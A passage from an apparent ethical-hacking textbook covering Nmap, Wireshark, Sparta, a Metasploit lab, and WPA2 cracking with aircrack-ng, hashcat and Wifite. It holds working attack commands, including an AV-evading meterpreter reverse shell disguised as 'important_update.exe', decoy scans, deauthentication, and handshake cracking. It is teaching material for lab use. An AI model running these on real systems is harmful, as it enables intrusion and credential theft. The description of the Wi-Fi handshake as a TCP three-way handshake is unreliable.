receive a SYN/ACK response, that means the port is listening:

nmap -sS 192.168.1.1

Scan using TCP connect
This is the command to scan using the TCP connect option. If a user does not have raw
packet privileges, this is the command they will use:

nmap -sT 192.168.0.9

Privileged access is necessary to perform the default SYN scans. If privileges are not
sufficient, a TCP connect scan will be used. A TCP connect scan needs a full TCP connection
to be established, and is known to be a slower scan than SYN scans. Disregarding discovery
is often required as many firewalls or hosts will not answer to ping, so it could be missed,
unless you choose the -Pn parameter. Of course, this can make the scan times much longer
as you could end up sending scan probes to hosts that are not even there.
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Service and OS detection
Nmap is one of the most popular tools used for the enumeration of a targeted host. Nmap
can use scans that provide the OS, version, and service detection for individual or multiple
devices. Detection scans are critical to the enumeration process when conducting
penetration testing of a network. It is important to know where vulnerable machines are
located on the network so they can be fixed or replaced before they are attacked. Many
attackers will use these scans to figure out what payloads would be most effective on a
victim's device. The OS scan works by using the TCP/IP stack fingerprinting method. The
services scan works by using the Nmap-service-probes database to enumerate details of
services running on a targeted host.

Detect OS and services
This is the command to scan and search for the OS (and the OS version) on a host. This
command will provide valuable information for the enumeration phase of your network
security assessment (if you only want to detect the operating system, type nmap -O
192.168.0.9):

nmap -A 192.168.0.9
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Standard service detection
This is the command to scan for running service. Nmap contains a database of about 2,200
well-known services and associated ports. Examples of these services are HTTP (port 80),
SMTP (port 25), DNS (port 53), and SSH (port 22):

nmap -sV 192.168.0.9

More aggressive service detection
This is the command for an aggressive scan. Usually, experienced hackers will not use this
command because it is noisy and leaves a large footprint on the network. Most black hat
hackers prefer to run as silently as possible:

nmap -sV --version-intensity 5 192.168.0.9

Lighter banner-grabbing detection
This is the command for a light scan. A hacker will often use a light scan such as this to
remain undetected. This scan is far less noisy than an aggressive scan. Running silently and
staying undetected gives the hacker a major advantage while conducting enumeration of
targeted hosts:

nmap -sV --version-intensity 0 192.168.0.9
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Service and OS detection depend on different techniques to determine the operating system
or service running on a certain port. A more aggressive service detection is useful if there
are services running on unexpected ports, although the lighter version of the service will be
much faster and leave less of a footprint. The lighter scan does not attempt to detect the
service; it simply grabs the banner of the open service to determine what is running.

Nmap output formats

Save default output to file
This command saves the output of a scan. With Namp, you can save the scan output in
different formats:

nmap -oN outputfile.txt 192.168.0.12



Sniffing the Network

[ 30 ]

Save in all formats
This command allows you to save in all formats. The default format can also be saved to a
file using a file redirect command, or > file. Using the -oN option allows the results to
be saved, but also allows them to be viewed in the terminal as the scan is being conducted:

nmap -oA outputfile 192.168.0.12

Scan using a specific NSE script
This command will search for a potential heartbleed attack. A heartbleed attack exploits a
vulnerability that is found in older, unpatched versions of OpenSSL:

nmap -sV -p 443 -script=ssl-heartbleed.nse 192.168.1.1

Scan with a set of scripts
This command is useful when searching for multiple types of attack. Using multiple scripts
will save time and allow for better efficiency while monitoring the network. You can also
use the following command to scan for heartbleed attacks:

nmap -sV -p 443 --script=ssl-heartbleed 192.168.0.13/24
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It is important to keep an updated database of current scripts. To update the Nmap script
database, type the command nmap - -script-updatedb . The following screenshot
demonstrates the screen you will see when you run this command:

Currently, Nmap has 471 NSE scripts installed. The scripts allow you to perform a wide
range of network security testing and discovery functions. If you are serious about your
network security, then you should take the time to get familiar with some of the Nmap
scripts.

The option --script-help=$scriptname will show help for the individual scripts. To get
a list of installed scripts, use the command locate nse | grep script.

You may have noticed the -sV service detection parameter. Usually, most NSE scripts will
be more effective, and you will get better scans by using service detection.

Lab 1-a scan to search for DDoS reflection
UDP services
Scan for
UDP DDoS
reflectors

nmap -sU -A -PN -n -pU:19,53,123,161 -script=ntp-
monlist,dns-recursion,snmp-sysdescr 192.168.1.0/24
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This Nmap command will scan a target list for systems with open UDP services that allow
reflection attacks to take place:

Using Wireshark filters
If you're not familiar with Wireshark, then you'll soon find out how powerful and effective
this tool can be. Wireshark is a packet analyzer software that's open source and free to use.
It can be used to troubleshoot networking issues and hunt down malicious activities.
Basically, every bit (literally) of information that flows in and out of a network can be
captured and dumped into a single location. Then we can take our time analyzing this
information, using filters to narrow down our search. As of writing this book, the current
version of Wireshark is 2.2.2, but always make sure that yours is up-to-date:

When you launch Wireshark, you should see the following screen. You will need1.
to select the interface you want to scan on, depending on whether you use an
Ethernet or a wireless connection. I am connected via Wi-Fi, so that is what I
choose. Yours may be named differently, but for now go ahead and select the one
with the most traffic, which you can see from the line next to the interface
selection. The more traffic there is, the more peaks the line will have:
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Once selected, go ahead and click on the blue shark fin button at the top left2.
corner. You should then see something like this:

As you can see, there is a lot of information to decipher, but Wireshark organizes it so that
you don't waste time searching. Let's inspect the source IP address of the selected packet.
We can see that it has an address of 192.168.0.123; in binary this is 11000000 10101000
00000000 01111011 because an IP address is 32 bits. Use the following chart to help:

-------------------------------------------------------

0 0 0 0 0 0 0 0

-------------------------------------------------------

128 --- 64 --- 32 --- 16 --- 8 --- 4 --- 2 --- 1
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-------------------------------------------------------

1 1 0 0 0 0 0 0 = 192

1 0 1 0 1 0 0 0 = 168

0 0 0 0 0 0 0 0 = 0

0 1 1 1 1 0 1 0 = 123

-------------------------------------------------------

The source is address is 192.168.0.123

In the following table the middle column at the bottom displays the hexadecimal of each
packet, and the bottom right column shows its ASCII conversions. You can use the
following chart to understand HEX conversion:

A = 10 | B = 11 | C = 12 | D = 13 | E = 14 | F = 15
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ASCII is essentially clear text data, so when you send messages or data that's not encrypted,
you will be able to read what the message contains. One unique feature that I like to
mention about Wireshark is that, when you select a portion of the HEX, the correlating
ASCII is also highlighted. This is a very handy and useful feature when performing packet
dissection paired with filtering options.

Wireshark filter cheat sheet
This will only show packets containing the selected IP address. This can be either the source
or the destination IP:

ip.addr ==x.x.x.x

This will show the communication between two IP addresses, which can be from the
direction of the source or the destination:

ip.addr ==x.x.x.x && ip.addr ==x.x.x.x

You could also just type in the name of the protocol that you want to see:

http or dns

This filter will only show the TCP packets that are passing through the specified port
number:

tcp.port==xxx

You may further specify the details of this filtering option to narrow your search of the TCP
packets:

tcp.flags.reset==1

To identify certain types of web traffic, such as requests that are being made to certain
websites on the network, enter the following:

http.request
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Put an exclamation in front followed by the initial parentheses:

!(arp or icmp or dns)

tcp contains searches for exact criteria in the converted ASCII of every TCP packet
captured:

tcp contains xxx

This will show direct communication between an assigned source IP and a specified
assigned destination IP:

ip.src==x.x.x.x and ip.dst==x.x.x.x

You can input multiple protocols together by typing in or and using the || symbol:

smb || nbns || dcerpc || nbss || dns

Lab 2
Another tool used for network scanning is Sparta. The following lab demonstrates how this
tool works. For this lab, we are using Kali Linux running in VMware.

Sparta is built into Kali 2.0, but if you don't have it, you can get it from the Kali repository
by typing kali > apt-get install Sparta:

To get started, open a terminal window and type sparta. The following1.
screenshot demonstrates the first screen you will see:
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When you click on it, a GUI resembling the following will open:2.

Once Sparta has started, we need to add some hosts. If we click on the space that3.
says Click here to add host(s) to scope, it opens a window where we can add IP
addresses or the range of IP addresses we want to scan. We are also able to use
CIDR notation to indicate an entire subnet, such as 192.168.181.0/24:
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After adding our IP host range in the window, click Add to scope. Sparta will4.
start scanning your hosts now:

http://img.wonderhowto.com/img/original/24/21/63586461745963/0/635864617459632421.jpg
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The following are the results for Sparta. My subnet had only two machines on it. As you can
see, Sparta identified those two IP addresses and provided OS fingerprinting, identifying
one as Linux and one as Windows. When I highlight the Windows system IP, it provides
details of all the ports it found open and the services running:

If we go the Information tab, we can get more detailed information on the particular
highlighted system. Note that we get more specific information on the operating system of
the target at the bottom of this screen:

Interestingly, Sparta also runs a nikto scan on the system if it finds port 80 open. We can
click on the nikto tab to see the results of the nikto web app vulnerability scan:
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Sparta
One of the best features of Sparta is that it integrates so many tools into one single GUI.
When we click on the Tools tab, Sparta displays the numerous tools that we can apply to
this target system, including the following:

Mysql-default
nikto
Snmp-enum
Smtp-enum-vrfy
Snmp-default
Snmp-check
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Brute-force passwords
Sparta can also brute-force passwords. Using hydra, you can specify the IP, port, and
service, then brute-force it:

For those who want a single scanning and enumeration tool with an easy-to-use GUI,
Sparta is the perfect reconnaissance tool.

Lab 3-scanning
The following demonstration will be a more detailed Nmap lab to reinforce what you have
learned earlier in the chapter. This lab uses Kali Linux running in VMware:

Open Nmap in Kali.1.
Open a terminal in Kali and type nmap.2.
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When you do so, Nmap will display its help screen, as shown in the
following screenshot:

Let's try to use the -sS and -sT scans.3.

Using Nmap's basic syntax, type in the following:

          nmap <scantype> IP address
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We get results like those shown in the following screenshot, showing all of
the TCP ports that are open on our target machine and the default service for
each port:

Next, we can scan for a specific port or port range.4.

Nmap uses the -p switch to designate a port or port range. So, if we were
only looking for ports 100-200, we could use the following:

          kali > nmap 192.168.10.70 -p100-200

As you can see, this command scans and reveals only the ports in that port
range.
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Scanning a subnet
Often, we want to scan more than a single IP address. Nmap allows us to use CIDR notation
to designate an entire subnet. So, for instance, to scan on the entire class C subnet (256
hosts), type nmap 192.168.10.0/24:
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Spoofing and decoy scans
When we are scanning machines that are not ours, we often want to hide our IP (our
identity). Obviously, every packet must contain our source address or else the response
from the target system will not know where to return to. The same applies to spoofing our
IP when using Nmap. We can spoof our IP address (-S) in Nmap, but as a result, any
response and any info we are trying to gather will return to the spoofed IP. Not very useful
if we are scanning in order to gather info. A better solution is to obfuscate our IP address. In
other words, we bury our IP address among many IP addresses so that the network/security
admin can't pinpoint the source of the scan. Nmap allows us to use decoy IP addresses so
that it looks like many IP addresses are scanning the target. We can do this by using the -D
switch, such as typing nmap -sS 192.168.10.70 -D 10.0.0.1,10.0.0.2,10.0.0.4:

This scan will use three decoy IP addresses, but it will also use our own address. In this
way, we get responses and the info on the target and the admin of the system sees scans
coming from four systems simultaneously. In this way, he can't pinpoint the true source of
the scan easily.

Evading firewalls
Many firewalls and routers block or drop the ICMP (echo request and echo reply) ping. This
is meant to obscure the presence of the hosts behind the firewall and protect against a
possible DoS using the ping packet. When you use Nmap to scan a system or network, by
default, it sends out a ping to see if the host is up. If it gets a response, it then sends the
specified packets to scan the system. If the ping is blocked or dropped, Nmap gives up and
says, host is down. To get around firewalls and routers that block or drop the ping, we
need to suppress Nmap's default behavior of sending out that initial ping and get past the
firewall that is blocking us. We can do this by using the -P0 switch. Type nmap -sS -P0
192.168.10.70:
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Gathering version info
When Nmap runs a port scan, it retrieves the port info (open/closed/filtered) and then gives
us the default service that is running on that port. As one can run any service on any port,
that may not be adequate information. If our attack requires a particular service on a
particular port, gathering the default information may not be enough. We need to know
what service is actually running on that port, not the default service. For instance, knowing
that port 80 is open and running HTTP is good to know, but if our attack is specific to
Apache, and the target has Microsoft's IIS running on that port, it won't work. We often
need the service on the port.

Nmap has a feature that interrogates the service running on each port scanned. It can be
used with the -sV switch. Type nmap -sV 192.168.10.70:

Note that, in the output we received, the server is running an older version of IIS on port 80.
That makes a tempting target!

UDP scan
Up until this point, all of our scans have been for TCP ports. Some services and ports use
UDP to communicate with the outside world. Our previous scan types (-sS and -sT) will
not find UDP ports as they are only looking for TCP ports. Some services only run on UDP,
such as NTP (port 123) and SNMP (port 161).
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To find these ports and services, we need to do a UDP scan. We can do this with the -sU
switch by typing nmap -sU 192.168.10.70:

As you can see, the UDP scan reveals ports and services not found with our TCP scans.

The reason switch
Note that, in the output from the UDP scan, some ports are reported as open/filtered. This
indicates that Nmap cannot determine whether the port is open or is filtered by a device
such as a firewall. Unlike TCP ports that respond with a RST packet when they are closed,
UDP ports respond with an ICMP packet when they are closed. This can make scans far less
reliable, as often the ICMP response is blocked or dropped by intermediate devices
(firewalls or routers).

Nmap has a switch that will return the reason why it has placed a particular port in a
particular state. For instance, we can run the same UDP scan as before with the --reason
switch and Nmap will return the same results, but this time it will give us the reason it has
determined the particular state of the port. Type nmap -sU --reason 192.168.10.70:
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Note that, in the preceding screenshot, I have highlighted the REASON why Nmap has
found that port 123 is either open or filtered. Nmap tells us that it received no response, so
it doesn't know if that port is open or filtered:

Using a list
Often, we will want to scan a list of IP addresses and not an entire subnet. We can use any
text editor and create a list of IP addresses, and then feed this list to Nmap. Here, I am using
Leafpad, which is built into Kali (any text editor will work), to put together a list of IP
addresses I want to scan:
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Then I can use this list of IP address in Nmap rather than having to retype these IP
addresses each time I scan. Type pwd to see the working directory. Then we can create our
scanlist file there with a text editor. We will be adding 192.168.10.2, 192.168.10.50,
192.168.10.70, 192.168.10.100, and 192.168.10.200. Type nmap -iL
scanlist.txt:

As you can see, Nmap scanned all five IP addresses that I listed in my text document, but
only found two IP addresses among them.

Output to a file
If we are scanning multiple IP addresses, we probably want to save the output to a file for
later reference. Although Nmap has many ways and formats in which to save the output, I
prefer the output normal (-oN) switch.

Simply add the -oN switch at the end of the command with the name of the file you want to
save the output to. Here, I have used a file named portscan.txt.
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Type nmap -sS 192.168.10.70 -oN portscan:

When I run the command, I get the same output displayed in the preceding screenshot, but
I also get that output saved to a file. I can view the contents of that file by using the cat,
more, and less commands. Here I have used the cat command. Type cat
portscan.txt:

As you can see, the output that always appears on the screen with an Nmap scan is now
saved to a file for later reference and for the sake of record-keeping.
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Next, we will demonstrate a lab using Metasploit. Now that we know how to scan a
network using tools such as Nmap, we can use that information to send a payload to a
victim. The following lab uses Kali Linux and Windows Server 2012 for this demonstration.
We recommend running this lab using virtual machines if you wish to follow along.

Open your terminal (CTRL + ALT + T) and type msfvenom -h to view the available options
for this Tool:

I think the information provided in this screenshot makes the use of msfvenom pretty clear.

In this lab, I want to create an exploit generated by msfvenom with a meterpreter
payload, and I also want to encode it using the shikata_ga_nai encoder. To get to know
the available options to set up this exploit, you can use --payload-options after you
set up your payload:
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Yep, there it is. We need to set up the LHOST and LPORT to make this exploit work. My
IP address is 192.168.10.50, so I set the LHOST to that IP. I also want to set the LPORT to
8080 so that I will receive a connection from the victim on port 8080 if the exploit
succeeds:

Commands
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -f
exe LHOST=192.168.10.50LPORT=8080 > ~/Desktop/important_update.exe

msfvenom: msfvenom is a tool from the Metasploit framework that combines the
functionality of msfpayload and msfencode. It's able to backdoor legitimate
files and encode them for things such as AV evasion. It can craft payloads for
pretty much any platform, and any format.
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-p windows/meterpreter/reverse_tcp: This tells msfvenom what to use for
a payload. In this case, we're using the standard meterpreter reverse shell,
which will pop a shell on the remote host and connect back to a listener that we
have running.
-e x86/shikata_ga_nai -i 5: This tells msfvenom to encode the payload,
using the shikata_ga_nai encoder. This is one of the better encoders that is
included with the Metasploit framework, and is very helpful with evading AV. If
the payload isn't encoded, AV will be able to detect the meterpreter shellcode.
The-i 5 flag will tell msfvenom to run five iterations of the encoder. Sometimes
the encoder fails to execute all the iterations; run it again, however, and
eventually it will succeed.
-f exe: This flag says that we would like to encode our payload as a standard
Windows executable. This isn't necessary, but it does allow us to see
that msfvenom can produce many different types of output, including Perl,
Ruby, Python, exe, Java, DLLs, and many more.
LHOST=192.168.10.50 LPORT=8080: These are options specific to the
meterpreter payload that we've chosen here. This will set the reverse shell to
connect back to our listener at 192.168.10.50 and use port 8080.
> ~/Desktop/important_update.exe: This will output the result
from msfvenom to a file of our choosing. In this case, we're using important
_update.exe. Our poor user Bob will, of course, choose to open this file, because
he knows that it's important to keep his computer updated:
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As you can see from the preceding screenshot, I generated the exploit on a desktop folder
and I named it important_update.exe.

The next step is to set up the listener on our attacking computer by using a multi-handler.

Starting the listener
First, we need to start our listener:

Open Metasploit by typing msfconsole.1.
Type use exploit/multi/handler.2.
As stated before, we will be using meterpreter reverse_tcp payload. To set3.
the payload, type the following:

      set payload windows /meterpreter/reverse_tcp

This module doesn't have any settings that we can touch by default, so we need to
add a payload. This tells the module what sort of reverse shell we're listening for;
it'll help manage it for us:

use exploit/multi/handler: handles the incoming connection
set payload windows/meterpreter/reverse_tcp: reverses the TCP
payload
show options: shows the available options to set
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We also need to set up the LHOST and LPORT and make sure they're the same as4.
the ones you set up in Step 3.

Then type Set lhost 192.168.10.50 Set lport 8080:

          Set lhost 192.168.10.50
          Set lport 8080

Our handler is ready to receive the connection on port 8080.5.
Type exploit to start the exploit.6.

Make sure that you transfer the important_update.exe file with the
payload onto the victim computer the best way you can. Please contact
your professor for assistance if needed.

Run the payload on the victim PC:
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Run the important-update on Server 2012:7.

When you send the exploit to the victim, and the victim executes it, we get this:8.

Type ? on the terminal to see the options available:9.

http://www.hacking-tutorial.com/tag/exploit/
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Type sysinfo to make sure you can get information from the victim PC:10.

Countermeasures
Always update your antivirus to the latest version
Don't forget to install a personal firewall for your PC

The next lab will build off the Metasploit experience gained in the previous lab. For this
demonstration, we are using Kali Linux running in VMware.

From past labs, you know how to do a basic exploit of a system to get a meterpreter shell
open. At this point in the lab you should already have gained access to a meterpreter
shell.

Let’s load the incognito module by typing load incognito:1.

Let’s list the tokens we have access to. We do this by typing list_tokens –u:2.
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As you might expect, the command to impersonate a token is:

meterpreter > impersonate_token WIN-OPFCG0BL7A9\\Student

It's important to note that, in this command, I used the \\ previous OTW.
The first \ escapes the second \ so that the system sees the \ as a literal
and not a special character. If you write this command with a single
backslash, it will tell you that the token was not found.

If incognito can impersonate the token, it responds with Successfully impersonated user
XXXX.

Summary
In this chapter, we went over how to use Nmap and Wireshark to monitor network traffic.
You are now able to use both these tools, since you have an understanding of the
commands and filter syntax. By using what you have learned in this chapter, you can now
monitor a network for signs of attack. With this knowledge, you can be effective in stopping
network attacks before they can do serious damage. You also learned about two valuable
tools that can also diagnose non-malicious network anomalies. It is recommended that you
master the use of Wireshark and study for a certification in its use. Many employers in the
network security field are impressed with extensive knowledge of tools such as Wireshark.

In later chapters, we will discuss other network security tools that can be used in
combination with Wireshark.
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How to Crack Wi-Fi Passwords

This chapter will have three main objectives for the reader to learn. The first objective is to
create an understanding of the vulnerabilities found within Wi-Fi technology. We will cover
the different methods that a hacker might use to gain a victim's Wi-Fi password. The reader
will be introduced to new Wi-Fi hacking terminology and definitions. This chapter will
have a hands-on lab. This lab will demonstrate the process of cracking a WPA2 Wi-Fi
password. We will focus on using the aircrack-ng suite to crack passwords with. There will
also be screenshots for each step so that the reader can follow along. The syntax of the
aircrack-ng suite will also be explained. To complete the lab in this chapter you will need a
router and Kali Linux (use a virtual machine to run Kali Linux. VMware Player is free and
has good stability). We have recommended the most compatible Wi-Fi adapters to use for
this lab (you will use the same adapters for many other labs).

This chapter will also discuss ways to defend against hackers trying to steal Wi-Fi
passwords. After reading this chapter the user will have a solid understanding of Wi-Fi
attacks and defense methods.
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Why should we crack our own Wi-Fi?
Would it not be better knowing you hacked your own wireless network rather than some
stranger or possibly someone who's wardriving around grabbing passwords to sell? Why
not test for any vulnerability yourself to see if it's strong enough against the most common
Wi-Fi password attacks. What we are going to be doing is simply perform a brute-force
attack to obtain a hash. We will then run that hash against either a password list that you
may have downloaded or you can run it through an online cloud of passwords. Kali Linux
has several good password lists that come prebuilt into the distro. These password lists can
be found in the following Kali Linux directory path: /usr/share/wordlists.

What's the right way to do it?
It is important to understand that there are many different methods and tools for obtaining
a Wi-Fi password. Technology is always improving and growing, and a lot of factors come
into play when determining which is the most effective. So the only right way to do it is by
selecting whichever tool will give you the actual password. However, the reason we are
using the aircrack-ng suite is because it touches on the core fundamentals of the whole Wi-
Fi cracking process. It is a command-line based tool that will provide a deeper
understanding of how Wi-Fi passwords are captured and cracked.

The method
We are going to perform what's called a brute-force attack or brute-force cracking. Brute-
force attacks are used for cracking encrypted data such as passwords and other encrypted
data. It does this by trying to guess a password. It tries as many combinations as possible
until the password is cracked. Imagine you are trying to access a door with a code lock and
you don't know how many digits are in the access code, you start with zero and work your
way up until you find the code. This would be exhausting to do, but with brute-force
attacks this process is automated. It just takes time to complete, but they are considered
infallible.
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The requirements
For this guide, we assume you already have an updated version of Kali Linux on your
system or a virtual machine (VMware Player is a good choice). Don't forget to perform an
update and upgrade prior to running any applications. Open a Terminal and type the
following commands to update and upgrade all file packages: apt-get update and apt-
get upgrade. You will also need a compatible Wi-Fi adapter that's capable of packet
injection. Unfortunately, there are a few options to choose from. The following list shows a
few chipsets that work well with Kali Linux. USB adapters using these chipsets should
work fine with Kali Linux
(http://www.wirelesshack.org/top-kali-linux-compatible-usb-adapters-dongles-201
5.html):

Atheros AR9271
Ralink RT3070
Ralink RT3572
Realtek 8187L (Wireless G adapters)

The following images show what wireless adapters look like. These are the most common
Wi-Fi adapters on the market with a compatible chipset. You can usually find them
available for purchase through https://www.amazon.com/:

http://www.wirelesshack.org/top-kali-linux-compatible-usb-adapters-dongles-2015.html
http://www.wirelesshack.org/top-kali-linux-compatible-usb-adapters-dongles-2015.html
https://www.amazon.com/
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What is packet injection?
Forging packets or spoofing packets are common ways of describing packet injection.
Packet injection is one way hackers try to disrupt or intercept packets from already
established network connections. The way they do this is by injecting their own packets into
the data stream. The packets injected by the hacker will appear as normal packets. This
causes malicious activity to be overlooked and ignored. Packet injection is used mostly in
denial-of-service (DoS) and man-in-the-middle attacks.

Wi-Fi cracking tools
Cracking Wi-Fi usually requires multiple tools or suites. One of the best tool suites available
is the aircrack-ng tool suite. This tool suite was designed for conducting wireless network
assessments. The tool suite focuses on four different aspects of network security.

The first aspect is monitoring network traffic. Putting your wireless adapter into monitor
mode will record all network traffic within range of the adapter's wireless radio. It will then
write the data to a text file (pcap file) for other tools to further analyze. The tool used for 
monitoring is called airmon-ng. This tool is used to put the wireless interface controller
into monitor mode. Monitor mode disables filtering at the physical layer of the OSI model.
This allows anything the adapter's wireless radio can pick up to be captured. Usually
wireless cards only see and receive network traffic intended for them. This is done by using
the MAC address of the NIC.

The next tool in the aircrack-ng suite is called airodump-ng. This tool allows for the
capturing of specific packets. This tool is helpful for cracking Wi-Fi passwords. airodump-
ng will show all available APs. It will also list the BSSID (MAC address), their power, the 
number of beacon frames, number of data packets, channel number, speed, encryption
method, type of cipher, authentication method, and the ESSID. All this information is vital
for successfully cracking a Wi-Fi password.
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Another effective tool found in the aircrack-ng suite is called aireplay-ng. This tool is
used to generate or accelerate traffic on a wireless network. With Wi-Fi cracking, this tool
will be used to send deauthentication packets to devices on the network. The deauth
packets are sent to kick devices off the network. When the devices try to reconnect, the
aireplay-ng tool captures the TCP 3-way handshake, used for authentication. Once the 
handshake is captured it can be used to obtain the password for the wireless network.

The aircrack-ng suite is widely considered the most versatile and effective Wi-Fi cracking
tool suite available. Some of the less used tools in the suite can also be utilized depending
on the objective. For example, airdecap-ng enables the decryption of wireless traffic once
the key for the AP has been obtained. airtun-ng is a virtual tunnel interface creator. It can
be used to set up a wireless intrusion detection system or WIDS on a wireless network.
WIDS are good for detecting malicious traffic and behavior. airolib-ng stores or manages
ESSID's (the name of the access point) and password lists that will help speed up
WPA/WPA2 password cracking. airbase-ng enables a device (usually a laptop) and
wireless card to be turned into an AP. This can be used to create a rogue access point or set
up an evil twin attack. A network security professional will benefit tremendously from
having a knowledge of the aircrack-ng suite. Using this tool suite can yield many
advantages in protecting a wireless network from malicious activity.

The steps
Following are the steps to be followed:

Start the Terminal then type in airmon-ng to make sure you can see the wireless1.
interface (if your Kali Linux is in a VM you will need a USB wireless adapter):
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Then type airmon-ng start wlan0 (your interface might not be wlan0, but 2.
something else; that's why you should check with airmon-ng first):

Then type ifconfig wlan0mon down to shut down the interface:3.

Then type iwconfig wlan0mon mode monitor:4.

We needed to change the wlan0mon mode to monitor so that it may
discover the nearby Wi-Fi. Normally it would be on managed mode by
default. To check what mode you are in,then you can type in iwconfig
and several useful details will be provided such as the mode, Tx power, bit
rate, frequency, signal level, noise level, and so on.
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Then type ifconfig wlan0mon up to bring the interface back up:5.

Now type airodump-ng wlan0mon. This will launch the interface you made; it6.
will dump everything it picks ups into the Terminal:

Go ahead and choose your target and copy the BSSID. The BSSID is the MAC7.
address of the wireless access point (WAP) generated by combining the 24-bit
organization Unique identifier (the manufacturer's identity) and the
manufacturers assigned 24-bit identifier for the radio chipset in the WAP:

Then run this command: airodump-ng --bssid 02:13:37:A5:99:E3 -c 118.
--write CrackWPA wlan0mon:

The BSSID is the access point MAC address
The -c 11 is the channel that the AP is broadcasting
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The --Write is the file you want to save the capture to (CrackWPA is
the filename that's going to store the hash, but you can name it
whatever you want)
And don't forget to tell it what interface this is for by putting it at the
end (wlan0mon):

Now it will pinpoint only devices connected to that AP directly underneath it:9.

You may see several or you may not pick up any devices connected (if so go10.
ahead and connect a device to your Wi-Fi). Once something gets picked up, open
a new Terminal and send a deauthentication to one of the devices connected in a
second Terminal.

You must have both Terminals open to capture the TCP handshake.

The Transmission Control Protocol (TCP)
handshake
Also known as a three-way handshake, this requires the two hosts to be synchronized with
each other's initial sequence number (ISN) for a connection to be established, before data
transfer begins. The need for us to obtain a TCP handshake is because the hash (a hash is a
string or number generated from a string of plain text) is stored within the SYN/ACK packet:
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You can use the following command to send a deauthentication to the AP:1.
aireplay-ng --deauth 10 -a 02:13:37:A5:99:E3 -c

10:03:cd:04:06:fe wlan0mon:

--deauth 10 means sending 10 packets to deauthenticate that device
-a is the target device (your Wi-Fi router)
-c is the connected station (connected device on the network):
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You're doing this to recapture the TCP handshake, which will be saved in your2.
CrackWPA file:

Now clean it of any unneeded data, and convert it to run with hashcat:3.

Get into your root and type: cp CrackWPA-01.cap /root/Desktop/.4.
Copy files to the directory you specify.5.
Change the directory to Desktop with cd Desktop/:6.
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Now type wpaclean CrackFile.cap CrackWPA-01.cap:7.

Type the following to convert the clean TCP handshake into a hashcat capture8.
file: Aircrack-ng CrackFile.cap -J wpacrack:

The -J converts a capture file to a hashcat capture, that is .cap to
.hccap

Wpacrack is what the new name will be for this hccap file
Press Ctrl + Z (to exit).9.
Now you can run hashcat, which is another tool used for cracking hashes:10.
hashcat -m 2500 /root/Desktop/wpacrack.hccap

/root/Desktop/Passwords.txt:
The -m 2500 is for the WPA/WPA2 hash.
If you want to see a full list, you can type in hashcat -h.
Make sure the password list is in the same directory. If the password is
in the Password.txt then it will crack the hccap file. Also
Passwords.txt was just an example; yours could have a different
name in a different directory.
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The password lists
There are numerous sources to get different variations of password lists that you may find
online; some files can be large (40 GB). The bigger the list, the better the chance of cracking
the password. There is a great misconception about cracking a Wi-Fi password. Most
people assume it only takes a few minutes to obtain and crack a password. This process can
range from several minutes to several weeks. An alternative is running the captured
password through a cloud service, such as onlinehashcrack.com to speed up the process.

How to make a strong password
If your password was successfully recovered on the cloud service, then it's time to
strengthen your Wi-Fi security:

h t t p s ://x k c d . c o m /936/

https://www.onlinehashcrack.com/
https://xkcd.com/936/
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The short version (a cheat-sheet for the
aircrack-ng suite)

Open a Terminal and type the following commands:1.

      > "airmon-ng"
      > "airmon-ng start wlan0"
      > "ifconfig wlan0mon down"
      > "iwconfig wlan0mon mode monitor"
      > "ifconfig wlan0mon up"
      > "airodump-ng wlan0mon"

Now pick a wireless interface | copy the SSID:2.

      > "airodump-ng --bssid 00:22:33:FF:AB:CD -c 11 --write CrackWPA
      wlan0mon"

Send a deauth to one of the devices connected:3.

       > "aireplay-ng --deauth 10 -a 01:02:ab:03:04:ff -c
       10:03:cd:04:06:fe wlan0mon"
       > "cp CrackWPA-01.cap /root/Desktop/"
       > "cd Desktop/"
       > "wpaclean CrackFile.cap CrackWPA-01.cap"
       > "aircrack-ng CrackFile.cap -J wpacrack"

Press Ctrl + Z (to exit):4.

      > "hashcat -m 2500 /root/Desktop/wpacrack.hccap
      /root/Desktop/Password.txt"

Next, we will now demonstrate a Wifite Lab using Kali Linux running in VMware.

In this lab, we will explore a Wi-Fi cracking tool called Wifite. This tool has many great
features to simplify the process of obtaining the password for a wireless network. WiFite is
able to sort targets by signal strength. By default, Wifite will crack the closest Wi-Fi signals
first. Wifite can automatically send deauthenication packets to reveal hidden networks.
Wifite comes with many different types of filter. The filters can be used to determine what
target to attack. Some of the filters include a specific signal strength, type of encryption
(WEP or WPA), and channels. Another option in Wifite is its anonymous feature. This
feature changes the MAC to a random address before the attack. When the attack is
completed it changes the address back.
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The resources needed for this lab are: Kali Linux running in a virtual machine, Alpha
adapter, and wireless router. We recommend using VMware or VirtualBox for this lab. This
lab will show screenshots for each step to make it easier to follow along:

Before we run Wifite, we need to make sure everything is updated by running1.
the commands apt-get update and apt-get upgrade. If Wifite is not built-in
to your Kali Linux distribution, you can get it from GitHub.
The following is a link for Wifite from github.com:
https://github.com/derv82/wifite.git

You can clone Wifite into Kali Linux by running the command git clone:
h t t p s ://g i t h u b . c o m /d e r v 82/w i f i t e . g i t

Once the update and upgrade are complete (or cloned if necessary) we will bring2.
up a Terminal and type the following command: wifite -h (the following
screenshot demonstrates the command):

As you can see from the preceding screenshot, the syntax is very easy to use.
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Next, we will put our Alpha adapter into monitor mode (Wifite can also do this3.
automatically when you start scanning, but if it doesn't work you can use the
airmon-ng method) by running the following commands:
airmon-ng start wlan0 or wlan1 (whichever is displayed for your wireless
interface).

Next type airmon-ng check kill. This command is run to stop any processes4.
that might interfere with monitor mode.
Next type ifconfig wlan0 down.5.
Then type iwconfig wlan0 mode monitor (sometimes the adapter will go into6.
monitor mode after the interface is started; mon will appear after wlan0 if monitor
mode is running).
Next type ifconfig wlan0monup or wlan0up to bring the interface back up7.
(the following screenshot displays the commands you will use):
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The following screenshot demonstrates how to put the adapter into monitor
mode:

Once the Alpha adapter is in monitor mode we can scan for possible targets.

To scan for targets, type the following command: wifite -mon-iface8.
wlan0mon -showb (this shows the BSSIDs of the targets we are scanning). This
command will begin a scan of wireless networks and also determine if any
targets are using WPS. After the scan is complete you will need to select a target
number. For this lab, we will only use one target, but normally between 20-40
targets will show up after the scan is complete.

The following two screenshots demonstrates what the commands look like:

The following screenshot shows the scanned targets:
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Once we have our target we type 1 to select it. Normally this list would have9.
multiple targets to choose from, but for this lab we only have one for security
purposes. After the target is selected Wifite will start to automatically launch a
Pixie attack. The Pixie attack attempts to crack the pin of the WPS.

The following screenshot demonstrates this command:

If the Pixie attack is not working, press Ctrl + C to end the attack and move on10.
